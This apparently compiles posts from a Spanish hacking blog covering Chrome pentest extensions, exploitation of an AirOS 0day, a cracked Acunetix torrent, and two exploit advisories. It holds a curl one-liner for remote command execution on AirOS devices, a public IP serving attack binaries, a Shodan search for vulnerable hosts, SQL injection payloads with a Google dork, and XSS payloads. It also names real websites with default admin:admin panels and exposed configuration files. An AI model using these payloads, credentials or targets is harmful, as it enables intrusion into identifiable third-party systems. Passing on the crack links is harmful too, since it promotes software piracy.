Web Application Penetration Testing con Google Chrome

Pequeña lista de extensiones interesantes y útiles que pueden ayudar a muchos de nosotros cuando estemos haciendo una prueba de penetración.

xss rays

google hack data base

hpp finder

form fuzzer

...

fuente: http://www.blackploit.com/2012/10/web-application-penetration-testing-con.html#more

http://calebbucker.blogspot.com.es/2012/10/web-application-penetration-testing-con.html

Explotación, postexplotación y potencial del 0day en AirOS

Recordais esta noticia:
http://arealinux.blogspot.com.es/2011/12/0day-en-airos-acceso-como-root.html

....

Tenemos un pequeño directorio con un puñado de binarios ya crosscompilados y listos para AirOS disponible en:

    http://5.175.223.63/bin/

Y empaquetado en .tar:

    http://5.175.223.63/bin.tar

Incluso podríamos incluir algunos más como ngircd (Un pequeño servidor IRC), o lo que se nos ocurra.

A continuación, vamos a pasar a automatizar estas tareas. Obviamente no puedo publicar más que un par de lineas para deja la imaginación flotar con bash y curl:

runcmd() { curl -L -H 'Expect: ' -F 'action=cli' -F "exec={ $SYS2$@; } 2>&1" $host/admin.cgi/lol.css 2>/dev/null | grep 'Execute!'  -A 99999 | tail -n +5 | tac | tail -n +7 | tac; }

....

fuente: http://www.hackplayers.com/2012/10/explotacion-postexplotacion-0day-en-AirOS.html#more
vuln: http://www.shodanhq.com/search?q=airos
1º noticia: http://seclists.org/fulldisclosure/2011/Dec/419 

http://exiv.me/_test_pluton/_php_my_ads-exiv_iis/index.php?&db=exiv_web&phpMyAdmin=6dnIjsqXEuYlCP5Z4mjJ0yKzha4

Reupload Acunetix 8 0 2012 02 09 Crack by x9a3k Torrent Download

Reupload Acunetix 8 0 2012 02 09 Crack by x9a3k Torrent Download

Torrent Files list:
-----------------------
2012_02_09_01_webvulnscan8.exe 14 MB
Activation.exe 2 MB
Read Me.txt 0 MB
Torrent downloaded from Demonoid.txt 0 MB
wvs.exe 11 MB

Torrent download links:
-----------------------
http://thepiratebay.org/torrent/7050...Crack_by_x9a3k
  http://bitsnoop.com/reupload-acunetix-8-0-2012-02-09-q34815914.html

SQL injectio news-detail.php?id

           _                    _ _
 _ __ _   _| |__   ___ _ __     | (_)_ __  _   ___  __
| '__| | | | '_ \ / _ \ '_ \    | | | '_ \| | | \ \/ /
| |  | |_| | |_) |  __/ | | |   | | | | | | |_| |>  <
|_|   \__,_|_.__/ \___|_| |_|___|_|_|_| |_|\__,_/_/\_\
                           |_____|

# Exploit Title: SQL Injection
#
# Google Dork: "Website Created and Hosted By Triad"
#
# Date: 5/9/12
#
# Author: ruben_linux
#
# Site : http://arealinux(dot)blogspot(dot)com(dot)es
#     http://www(dot)youtube(dot)com/user/rubenlinux
==================================
 Files affected : news-detail.php
parameter: id

==================
PoC-Exploit
==================
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=5' AND 6992=6992 AND 'kaiM'='kaiM

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=5' AND (SELECT 8596 FROM(SELECT
COUNT(*),CONCAT(0x3a6974713a,(SELECT (CASE WHEN (8596=8596) THEN 1 ELSE 0
END)),0x3a6a6c763a,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'PzcT'='PzcT

    Type: UNION query
    Title: MySQL UNION query (NULL) - 7 columns
    Payload: id=5' LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL,
CONCAT(0x3a6974713a,0x4c6b50577255634a4c52,0x3a6a6c763a), NULL, NULL, NULL#

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=5' AND SLEEP(5) AND 'wZaG'='wZaG


[+] http://www.******.com/news-detail.php?id=5[SQLi]

http://packetstormsecurity.org/files/116228/Website-Created-By-Triad-SQL-Injection.html

tambien aqui la publicaron :-)

http://www.1337day.com/exploits/19309

xss y panel admin

           _                    _ _                 
 _ __ _   _| |__   ___ _ __     | (_)_ __  _   ___  __
| '__| | | | '_ \ / _ \ '_ \    | | | '_ \| | | \ \/ /
| |  | |_| | |_) |  __/ | | |   | | | | | | |_| |>  <
|_|   \__,_|_.__/ \___|_| |_|___|_|_|_| |_|\__,_/_/\_\
                           |_____|                   

# Type: Xss & default admin panel
#
# Google Dork: "powered by rcart"
#
# Date: 1/9/12
#
# Author: ruben_linux
#
# Site : http://arealinux(dot)blogspot(dot)com(dot)es
#          http://www(dot)youtube(dot)com/user/rubenlinux
==================================

[+] http://www.emallhub.com/
[+] http://www.jaya4tech.com

http://www.jaya4tech.com/ajax/ajaxseachauto?format=json&q=[HERE XSS]&limit=10&timestamp=1346508322457
http://www.emallhub.com/ajax/ajaxseachauto?format=json&q=[HERE XSS]&limit=10&timestamp=1346508394788

<<script>alert(132);

http://www.jaya4tech.com/admin~~~|
                                 |---->admin:admin
http://www.emallhub.com/admin~~~~|

Also: http://packetstormsecurity.org/files/115906/Zend-Framework-Information-Disclosure.html

[+] http://www.lumbiniimports.com/application/configs/application.ini
[+] http://www.emallhub.com/application/configs/application.ini
[+] http://www.jaya4tech.com/application/configs/application.ini

 

http://packetstormsecurity.org/files/116158/RCart-Cross-Site-Scripting-Admin-Panel.html